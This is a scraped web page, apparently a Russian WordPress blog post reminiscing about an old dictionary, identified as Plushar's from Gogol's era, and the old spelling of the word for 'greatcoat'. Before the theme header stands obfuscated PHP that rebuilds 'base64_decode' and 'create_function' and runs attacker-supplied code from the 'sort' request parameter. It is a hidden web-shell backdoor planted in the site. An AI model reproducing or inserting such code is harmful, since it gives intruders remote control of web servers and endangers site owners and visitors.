nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

“БЛОКАДНЫЙ” СЛОВАРЬ


http://buildmate.com.sg/product/gas-burners-mapp-gas/                                                                                    
                                                                                                   П  О  С  Т  С  К  Р  И  П  Т  У  М    
                                                                     
 . . .         сейчас  до  меня  дошло,  что   здесь   это  будет  очень  важной  дополнительной   репликой.
 
     Так  вот  про  тот  "блокадный словарь",  на  который  я   ссылаюсь  по  поводу   слова  "шинель".
     Одна наша  близко  знакомая  ( и  она  не  отречётся,  если  я  её  назову  "преданным чадом"  моего мужа )  она  была   на  период  нашего   тесного  общения    ни  больше ни  меньше  как  зав. Словарным   отделом  Института лингвистических исследований. Благодаря   ей  я  поняла  важность,  того, чтобы  на  каждом           к о р о т к о м    этапе  развития  общества  обновлять , казалось  бы,  простые   языковые  словари: каждый  этап  меняет  в  тех   или  иных  словах  и  значение,  и  даже  произношение.
        Неожиданно  на  наш   привычный   слух  " д е ф о р м и р о в а н н ы е "  слова  вдруг  озвучиваются   навсегда  ушедшим   г о в о р о м.  Так  например,  в  моём  "блокадном   словаре ",  я  на  всякий  случай  наряду  с  заявленным  написанием  " ш Е н и л "   посмотрела  и  на  " ш и н е л ь" –  нет  такого  слова!  и  даже  на всякий  случай    и   на  "шънель",  и  на  "шенъл"  –  тем   более  такого нет   и  быть  не  может  ! …  и  даже   пробежалась  по  окружающим   слово   "Ш Е Н И Л" словам.
      Всё правильно :  Ш Е Н И Л  =  С И Н Е Л Ь    и    точка !
                                                   
    Когда  я  показала  Галине  Николаевне  этот  словарь,  повторяю,  без  корки  и  первых  листов  и  попросила  определить  его  утерянные  данные,  она   "на вскидку" сказала,  что  это  –  СЛОВАРЬ   ПЛЮШАРА.
    А  Плюшар,  Адольф  Александрович, родился  и  умер  в Петербурге ( 1806  –  1885 гг).  Напомню,  что  годы жизни   Гоголя  1809 – 1852. По  странному  стечению  обстоятельств,  день  рождения  Плюшара   и   день  рождения  гоголевского  Башмачкина   с о в п а д а ю т : 23 марта  ( естественно,  по  старому  стилю),  А   просто,  чтоб  и  писателя  не  обойти  вниманием,  его ,  как  я  выражаюсь,   день"рож" – 20  марта .  Резюмирующе   говоря,  они  оба   –  "весенне-равноденственники".  Но  самое-то  главное :   мой   словарь  –   ВРЕМЕНИ   ГОГОЛЯ  и  ПУШКИНА  !   Я  только  сейчас  это  конкретизировала .  Ну  и  ну  !

   


Добавить комментарий